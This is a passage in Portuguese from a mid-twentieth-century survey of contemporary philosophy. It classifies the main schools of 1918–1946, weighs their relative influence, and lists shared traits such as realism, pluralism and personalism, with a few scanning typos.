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4.   AS CORRENTES
PRINCIPAIS DA FILOSOFIA ATUAL

A. As escolas. O período da filosofia
contemporânea, de que vamos agora ocupar-nos, que vai desde a primeira guerra
mundial até ao ano de 1946, assistiu ao florescimento de duas novas escolas.
Uma, o neopositivismo, representa uma prolongação original da atitude
positivista; a outra, denominada "filosofia da existência",
apresenta-se como algo inteiramente novo, apesar de prolongar a filosofia da
vida e de conter elementos fenomenológicos e metafísicos. Todas as escolas já
existentes possuem seus pensadores eméritos que prosseguem desenvolvendo em
forma grandiosa sua temática fundamentai. É este o caso particular da metafísica,
que se orgulha com os nomes
de um Alexander, de um Whitehead, de um Hartmann e de um número crescente de
tomistas; é o caso também da fenomenologia, com a figura máxima de M. Scheler,  e da filosofia da vida, representada
pela derradeira fase de Bergson e
por todo o pensamento de Klages, para
falar dos outros.

É
possível distinguir os sistemas mais importantes de nossa época sob dois pontos
de vista: segundo o conteúdo doutrinai e segundo o método. Do ponto de vista do
conteúdo, podemos dividi-los em seis grupos. Temos, em primeiro lugar,
as duas direções que prolongam a atitude mental do século XIX: o
empirismo ou a filosofia da matéria, como continuação do positivismo, e o
idealismo em suas duas formas, a hegeliana e a kantiana. Temos, em seguida,
duas doutrinas às quais se deve a ruptura com esse século: a filosofia da vida
e a filosofia da essência, ou seja, a fenomenologia. Finalmente, surgem dois
grupos que exprimem a tentativa mais original e significativa de nosso tempo: a
filosofia da existência e a nova metafísica do ser.

Evidentemente,
esta classificação não deixa de ser um tanto arbitrária. Não é possível passar
em silêncio as profundas discrepâncias que separam filósofos agrupados sob o
mesmo rótulo. Assim, por exemplo, temos de apresentar sob o título comum de
"filosofia da matéria" as doutrinas de B. RUSSEL, dos neopositivistas
e também dos marxistas, doutrinas essas que apresentam entre si notáveis
diferenças. Na seção "filosofia da vida" tivemos de incluir
pensadores tão diferentes como Dewey e
Klages. Por último, importa observar
que pensadores isolados subsistem, com suas escolas, entre os grupos,
estabelecendo a transição de um grupo a outro. Assim acontece, por exemplo, com
a escola idealista de Baden, que oferece pontos de contato com o historicismo
dependente da filosofia da vida, e com a fenomenologia de Scheler, que preconiza já a filosofia
da existência. Tais agrupamentos são absolutamente necessários na história do
pensamento filosófico para se obter uma exposição da matéria quanto possível
completa. Nossa classificação não pretende ocultar as profundas discrepâncias
dentro de cada grupo, como nem as transições de grupo para grupo. Sendo assim,
nossa classificação em seis grupos justifica-se como manifestação das seis
atitudes mentais decisivas de nosso tempo: empirismo, idealismo, filosofia da
vida, fenomenologia, filosofia da existência e metafísica.

A
diferenciação à base do método não deveria ser tão decisiva em si; no
entanto, parece que começa a impor-se de maneira notável, como se verificou no X Congresso
Internacional de Filosofia, em 1948. Com efeito, vê-se que a aplicação de
métodos diferentes, a análise lógico-matemática, de um lado, e o procedimento
fenomenológico, do outro lado, provocam não raro uma cisão no interior da mesma
escola filosófica. E embora haja ainda muitos filósofos que não admitem nenhum
destes dois métodos ou desejam aplicar ambos ao mesmo tempo, este parece ser,
as mais das vezes, o pomo da discórdia entre os pensadores. Além dos
fenomenólogos, quase todas os filósofos da existência e parte dos metafísicos
costumam empregar o método fenomenológico, que no transcurso do tempo se foi
ampliando e modificando. Contudo, outros metafísicos associaram-se aos
defensores da lógica matemática, e, mais que nenhum outro, Whitehead. é muito para notar que a
lógica matemática tenha sido capaz de suscitar um entendimento compreensivo
recíproco de representantes de direções diversas e até opostas, de platônicos,
de aristotélicos, de nominalistas, até de kantianos e de alguns pragmatistas,
quando, por outro lado, a distância entre os partidários deste método e os da
fenomenologia parece por vezes tão grande que impede toda possibilidade de
acordo.

B. Influências. Tratamos acima das origens
da filosofia atual.    Só nos resta acrescentar umas quantas indicações.

Primeiramente,
convém notar que as circunstâncias históricas que provocaram o rompimento com
o pensamento do século anterior continuam operando no período atual. Assim, a
física prossegue desenvolvendo-se no mesmo sentido de afastamento crescente de
sua velha base mecanicista. A. ilusão do progresso operado pela técnica
— que entre os norte-americanos e os russos se encontra ainda hoje em pleno
florescimento — sofreu reiterados abalos na Europa. Não só os filósofos senão
também as multidões parecem estar curados desta ilusão. Isto à custa dos
maiores sacrifícios, tanto mais que os terríveis sofrimentos provocados
por uma série de acontecimentos demasiado conhecidos fizeram que a atenção do
homem se concentrasse nos problemas urgentes da pessoa humana, nas questões do
destino, do sofrimento, da morte e das relações humanas. Dir-se-ia que se
encontra em pleno desenvolvimento uma renovação religiosa. Enfim, uma espécie
de incerteza e de inquietação gerais começa a apossar-se dos homens, que sentem
claramente a situação de crise e mais do que nunca se volvem para a filosofia,
na esperança de obterem dela uma resposta às dolorosas perguntas de sua vida
amargurada. Tudo isto explica que a filosofia da existência tenha podido
ganhar terreno tão rapidamente e que a metafísica tenha adquirido a força que
hoje conta. Isto explica igualmente o elevado nível da vida filosófica na atualidade.

Sobre esta
filosofia exercem-se também influências notáveis de pensadores de épocas
remotas. Bertrand Russell, um dos
filósofos da matéria, por conseguinte um continuador do século XIX, afirma,
em 1946, que a influência de Tomás de
Aquino é maior que a de Kant ou de
Hegel. O mesmo parece se pode
dizer a respeito de todos os filósofos de nosso tempo. Cada vez que a filosofia
realizou um progresso, fê-lo em forma de espiral. No momento presente, e no que
tange às questões fundamentais, ela encontra-se mais próxima do pensamento dos
gregos e da escolástica, do que dos filósofos de há cem anos. Assim, vimos Platão renascer com Whitehead,
Aristóteles com Driesch, Hartmann e os Tomistas., Plotino com certos filósofos dá
existência, Tomás de Aquino com a
escola que leva seu nome, a baixa escolástica com a fenomenologia e o
neopositivismo, Leibniz com Russell,

Quando,
todavia, se tratar de saber quem exerce mais eficaz influência sobre a
filosofia nossa contemporânea, sem hesitação devemos citar dois pensadores
pertencentes a nossa época: Bergson e
Husserl, como já se disse. Sem
dúvida, não são os únicos. Mas sempre e em toda a parte a filosofia da vida e
a fenomenologia desempenham papel decisivo, embora não sejam professadas por
escolas particularmente poderosas.

Em
suma, a evolução que, para um observador atento, se manifesta desde 1900
encontra-se atualmente em franca realização: a superação da filosofia do século
XIX em proveito de uma nova conceição da realidade,
concepção que desponta cora o dealbar do século e que, sem representar marcha
para trás, todavia se aproxima grandemente do pensamento de épocas transatas.

C. Importância relativa dos sistemas. Quanto
á importância de escolas e sistemas, podemos considerá-la debaixo de dois
pontos de vista totalmente diferentes. Os sistemas, que exercem muito forte
influência sobre as massas, via de regra não atuam na mesma medida sobre os
filósofos. Duas leis gerais, parece, condicionam a atitude das massas perante a
filosofia.   Era primeiro lugar, a aceitação por parte do público é sempre
extremamente tardia, de sorte que uma filosofia que floresceu cinqüenta ou cem
anos atrás nos meios especializados, tem agora as maiores probabilidades de se
tornar popular, independentemente da consideração em que é tida pelos
filósofos. Alem disso, as multidões resistem muito menos que os filósofos à
dupla atração de que dispõe um sistema, graças a sua simplicidade e a sua
encenação. Uma filosofia apresenta tanto maior número.de probabilidades de
expansão quanto for mais primitiva e quanto mais potente for a propaganda que a
lance em circulação, ao passo que os filósofos se mostram geralmente menos
sensíveis a esta espécie de fatores.

Neste
nosso compêndio interessa-nos unicamente a filosofia no sentido acadêmico do
termo, e não aquilo que as multidões têm por bom. Contudo, não será
inútil perguntar-nos quais são as filosofias mais populares de nosso tempo. Duas
principalmente se nos afiguram que podem disputar esta prerrogativa. Em
primeiro lugar, a filosofia da matéria, É a mais simples e, por
conseguinte, a mais facilmente compreensível pelos não-filósofos. Além disso,
em sua forma marxista ela é estimulada por todo o poder do partido comunista
mundial bem como pelo prestígio de uma série de intelectuais que, na qualidade
de diletantes em filosofia, sucumbem, do mesmo modo que as multidões, ao
sortilégio dos dogmas simplificados. A par da filosofia da matéria, goza
também de grande popularidade, especialmente nos países latinos, a filosofia
da existência.
A primeira vista, isto parece estranho, porque a filosofia
da existência é uma doutrina inteiramente moderna e, de mais a mais,
extremamente especializada e sutil. Mas o fato tem fácil explicação, se
tivermos em conta a forma simplificada e acessível com que é apresentada às
multidões, através da literatura, do teatro e do ensaio popular, gêneros de
propaganda de que só os existencialistas, entre os filósofos, lançaram mão.
Além disso, aquilo que os não-filósofos costumam em geral apreender na
filosofia da existência é o seu elemento irracionalista e radicalmente
subjetivista. Ora, o subjetivismo é uma velha doutrina dos séculos passados, e
o irracionalismo foi difundido no século XIX por certas
correntes filosóficas, de que acima falamos, principalmente pela filosofia da
vida que esteve em moda no final do século. Poderíamos confrontar o êxito atual
da filosofia da existência com o êxito que a doutrina estóica conheceu nos
primeiros séculos de nossa era: também a filosofia estóica era uma filosofia
manifestamente especializada, mas soube conquistar vasto domínio, pela
circunstância de apelar para certas idéias morais simples, para a recepção das
quais a história vinha, desde há muito, preparando o terreno.

Em
comparação com estas duas correntes filosóficas, as outras escolas contam com
poucos adeptos entre o grande público. Acaso, a metafísica é a que se encontra
em melhor situação, especialmente em sua versão tomista que estriba em potente
tradição e é propugnada pela Igreja católica. A filosofia da vida e a
fenomenologia são menos conhecidas, sobretudo a última. Quanto ao idealismo,
parece ter sofrido rude golpe.

É
diferente o quadro que se nos oferece, quando consideramos as influências das
escolas entre os próprios pensadores. Também neste caso o idealismo
deveria, sem dúvida, ser relegado para o último posto, enquanto a filosofia da
vida e a fenomenologia ocupam lugar importante, embora só de maneira indireta,
devido à sua repercussão em várias escolas. Pelo contrário, das duas escolas
que são exclusivamente de nosso tempo, parece que se deve outorgar o primeiro
posto à metafísica, de preferência à filosofia da existência. Enfim,
a filosofia da matéria encontra-se em posição singular: em determinadas formas,
por exemplo na velha forma de Spencer ou
na do materialismo dialético, ela é simplesmente, ou quase simplesmente
inexistente em nossas universidades. Mas os trabalhos de Russell e dos neopositivistas,
acrescentados a uma reação em certos círculos científicos contra a crise da
ciência, concorreram para seu retorno momentâneo. Durante os anos 1930-1939
tinha-se a impressão de o neopositivismo estar prestes a tornar-se uma das
escolas dominantes. De momento, só na Inglaterra êle manteve sua posição — sem
dúvida muito sólida — ao passo que no continente europeu foi desalojado pelas
demais correntes. Aliás, na própria Inglaterra (como também nos Estados
Unidos) parece ir perdendo pouco a pouco sua influência.

Resumindo,
podemos compendiar da seguinte maneira a importância relativa dos sistemas: no
primeiro posto estão a metafísica e a filosofia da existência; seguem-se-lhes —
de maneira menos direta e mediante as correntes mencionadas — a  filosofia da vida
e a fenomenologia;  e finalmente, a maior distância, a filosofia da matéria.  
Em derradeiro lugar, o idealismo (1).

D. CARACTERÍSTICAS GERAIS. Naturalmente, não é possível indicar as características gerais que correspondam por
igual a todas as correntes do pensamento
contemporâneo. Isto, principalmente, porque algumas dentre elas nada
mais fazem do que continuar a atitude do século XIX, ou mais
geralmente dos "modernos" (1600-1900), ao passo que as restantes se empenham em construir algo radicalmente novo em
relação àquelas. Há, todavia, traços
comuns que, embora não se apliquem a todos os filósofos, são
característicos da maior parte deles. Assim, por exemplo, Whitehead parece estar do lado da
razão, quando afirma que já se encontra superada a "bifurcação" tão
típica da época moderna entre o mundo-máquina e o sujeito pensante: como vimos,
tanto o subjetivismo como o mecanicismo
sofreram séria derrota. Em substância, manifesta-se
uma tendência para uma concepção orgânica e diferenciada da realidade, aliada
a um reconhecimento expresso de sua estrutura graduada e de suas diferentes camadas
de ser. Distinguem-se ainda outros caracteres que, embora não possam ser qualificados de universais, definem, todavia,
claramente o perfil do pensamento contemporâneo. Citemos entre eles:

a)     
Atitude antipositivista. Se prescindirmos dos filósofos da matéria e de alguns
idealistas, este é um traço fundamental que se pode verificar estar presente
em toda parte. Neste particular, os
filósofos da vida, os fenomenólogos e os filósofos da existência
ultrapassam os metafísicos: aqueles contestam em geral todo e qualquer valor às
ciências da natureza como fontes do conhecimento filosófico, ao passo que
estes contentam-se com reservar-lhes um lugar subordinado.

b)            
Análise. Em flagrante contraste com o século XIX, os
filósofos contemporâneos praticam especialmente a análise,

(1)
A comissão da Associação Internacional das Sociedades de Filosofia (fundada em
1948, cf. Apêndice) compõe-se de trinta membros, vinte e quatro dos quais são
europeus, nomeados por eleição. Destes, cinco são tomistas, quatro metafísicos
de outras tendências, dois dialéticos, um positivista, um idealista, um
materialista dialético (tcheco-eslovaco) e um existencialista. Seis destes
filósofos são partidários da lógica matemática. Claro está que a composição
desta comissão não exprime exatamente a força relativa das escolas; no entanto,
é bastante   significativa e muitas vezes com métodos novos dotados de extrema
precisão.

c)     
Realismo. Os metafísicos, a maioria dos filósofos da vida e dos
filósofos da matéria, assim como uma parte dos filósofos da existência, são
realistas, sendo os idealistas os únicos que se mantêm aferrados à posição
contrária. A forma de realismo que professam é a do realismo imediato: atribuem
ao homem o poder de captar o ser diretamente. Em geral, a distinção kantiana
entre coisa em si e fenômeno é, por assim dizer, rejeitada em toda a linha.

d)      Pluralismo. A
maioria dos filósofos de nossos dias são pluralistas e opõem-se ao monismo
idealista e materialista do século XIX. Contudo, também aqui há
exceções: por exemplo, Alexander, entre
os metafísicos, e Croce, entre os
idealistas, são monistas. Como quer que seja, porém, constituem uma minoria,
cuja influência diminui a olhos vistos.

e)     
Atnalismo. Quase todos os filósofos da atualidade são atualistas.
O interesse deles concentra-se no devir, num devir que mais e mais é encarado como
historicidade, tanto mais que a biologia, que no início do século
fora critério decisivo para as doutrinas irracionalistas, foi suplantada pela
história. O atualismo da filosofia contemporânea nega a existência das
substâncias; só os tomistas e alguns neo-realistas ingleses representam
exceção. Filósofos há que vão ainda mais longe em seu atnalismo e rejeitam até
as formas ideais imutáveis. É o que sucede com os filósofos da matéria e
da vida, com muitos idealistas e com todos os filósofos da existência.
Mas esta tendência é vigorosamente combatida por outras escolas, sobretudo
pelos neokantianos, fenomenólogos e metafísicos.

f)       
Personalismo. Na maioria dos casos, o interesse volve-se para a
pessoa humana. Prescindindo dos filósofos da matéria, todos os pensadores de
nosso tempo são mais ou menos espiritualistas declarados e insistem na
dignidade peculiar da pessoa humana. Este personalismo é professado de forma
particularmente dramática pelos filósofos da existência, mas também muitos
fenomenólogos e metafísicos o propugnam de maneira categórica. É precisamente
nisto que devemos ver  o  traço distintivo da filosofia  contemporânea, em  
radical  contraste com  o passado:  é  uma filosofia mais próxima  do ser real
do homem de que as precedentes.

E. Caracteres externos. Além
destes, traços inerentes as próprias
doutrinas, a filosofia atual distingue-se ainda por toda uma série de
caracteres externos. É acentuadamente especializada, extraordinariamente
produtiva e existe entre suas escolas um convívio muito mais intenso que
outrora.

a)     
Especialização. Entre os filósofos profissionais não se encontra
nenhum, cujos trabalhos possam ser confrontados em simplicidade com os de Platão ou Descartes. Todas as escolas
(salvo o materialismo dialético e, sob certo respeito, o pragmatismo) dispõem
de um aparato conceptual especializado, dotado de rico vocabulário abstrato, e
operam manejando com noções complexas e sutis. Nota-se isto principalmente
nos filósofos da existência e nos neopositivistas; é, portanto, um distintivo
típico das duas doutrinas mais recentes. Quase outro tanto se pode afirmar dos
idealistas, dos fenomenólogos e dos metafísicos. Certas teses filosóficas de
nossa época relembram muitíssimo em seu aspecto exterior tanto os trabalhos
técnicos especializados de Aristóteles quanto
os processos sutis da escolástica do século XV.

b)     
Produtividade. É extraordinariamente grande a produtividade dos
filósofos. Para dar apenas uns quantos números: só na Itália, havia no ano de
1946 não menos que trinta revistas especializadas de filosofia e uma só
escola internacional, o tomismo no sentido estrito do termo, dispunha de mais
de vinte. A bibliografia (incompleta) do Instituto Internacional de Filosofia
menciona para um semestre (I, 1938) mais de 17.000 títulos. A esta mole quantitativa
é mister acrescentar a multiplicidade dos problemas versados e o aparecimento
de grande número de trabalhos realmente importantes. Sem dúvida, é difícil
distinguir o que nesses trabalhos contém valor permanente; mas, a não ser que
todas as aparências sejam ilusórias, muitos filósofos de nossa época deixarão
um rasto duradouro na história do pensamento filosófico. Penso não ser exagero
asseverar que a época atual é uma das mais fecundas da história.

c) Interdependência.
Uma característica da filosofia atual é a Intensidade dos contatos entre
filósofos das tendências mais  diversas 
e até  contraditórias,  bem  como o  estabelecimento de relações entre os
países. Com o início do século XX
assiste-se à celebração de uma série de
congressos internacionais de filosofia (3, Paris, 1900; II, Genebra,
1904; III, Heidelberg, 1908; IV, Bolonha,
3911; V, Nápoles, 1924; VI, Nova Iorque,
1927; VII, Oxford, 1930; VIII, Praga,
1934; IX, Paris, 1937; X, Amsterdam, 1948) que reuniram
uni número sempre crescente de filósofos. A par destes congressos, importa
mencionar os encontros internacionais com fins mais especializados, e que se
ocupam de uma só disciplina ou se destinam aos membros de uma só escola. Deve
outrossim ser mencionada a fundação de revistas de escolas internacionais
(idealistas, tomistas, neopositivistas, etc.) ou de outras em várias línguas.
Abateram-se os limites representados pelas fronteiras nacionais e também, em
grande parte, pelas barreiras das escolas, obtendo-se, por essa via, o
resultado de uma interpenetração das várias correntes filosóficas, tal como no
passado raramente se presenciou.

Isto
revela-se já no movimento que levou à formação das escolas contemporâneas.
Assim, o neo-realismo inglês procede, a um tempo, da teoria do objeto
(aparentada a fenomenologia), de certas idéias empiristas e do estudo da metafísica
(o estudo de Leibniz por Russell). O neopositivismo está
Intimamente ligado à crítica da ciência, ao empirismo clássico e ao
neo-realismo inglês, como também recebe influências de Husserl, o fundador da fenomenologia. Esta última, por seu
turno, repercute fortemente na filosofia da existência e numa parte da
metafísica. O idealismo não se mostra inteiramente independente de seu inimigo
tradicional, o positivismo. Mas o que há de mais característico é o processo
de formação da filosofia da existência, a qual reúne em si influências
positivistas, idealistas e fenomenológicas, embora se baseie principalmente na
filosofia da vida e seja profundamente influenciada pelos metafísicos.

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